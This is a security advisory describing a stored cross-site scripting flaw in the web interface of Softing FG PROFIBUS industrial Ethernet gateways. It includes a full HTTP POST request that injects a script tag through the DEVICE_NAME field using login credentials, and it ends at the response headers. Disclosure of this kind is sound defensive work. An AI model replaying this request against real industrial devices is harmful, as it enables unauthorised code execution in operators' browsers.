Introduction:
-------------
Softing FG PROFIBUS [1] is a family of interfaces for remote access to
one, two or three PROFIBUS segments via Ethernet for device
parameterization, controller programming and data acquisition. This
device is used in industrial setups for making Profibus device available
via ethernet. Compass Security Deuschland GmbH [2] discovered a security
flaw in the webgui of the device which allows execution of malicious
code in the context of the user's browser session.
Affected:
---------
Firmware: FG-x00-PB_V2.02.0.00
Technical Description:
----------------------
The web gui does not properly encode output of user data in at least one
place. Exploiting this vulnerability leads to stored cross-site
scripting (XSS) and allows execution of JavaScript code
The vulnerable resource is the 'DEVICE_NAME' parameter:
POST /cgi-bin/CFGhttp HTTP/1.1
Host: 192.168.2.3
Referer: http://192.168.2.3/cgi-bin/CFGhttp
second_chance=Yes&LOGIN=config&PASSWORD=password&SERIAL_NUMBER=0110000000&DE
VICE_NAME=<SCRIPT>alert("XSS")</SCRIPT>&DEVICE_NAME_ORG=ROFLE&IPADDR=192.168
.2.3&IPADDR_ORG=192.168.2.3&NETMASK=255.255.255.0&NETMASK_ORG=255.255.255.0&
GATEWAY=0.0.0.0&GATEWAY_ORG=&MAINTENANCE_IP=192.168.212.231&MAINTENANCE_IP_O
RG=192.168.212.231&STARTUP=RELOAD
Which results in the malicious code being embedded:
HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
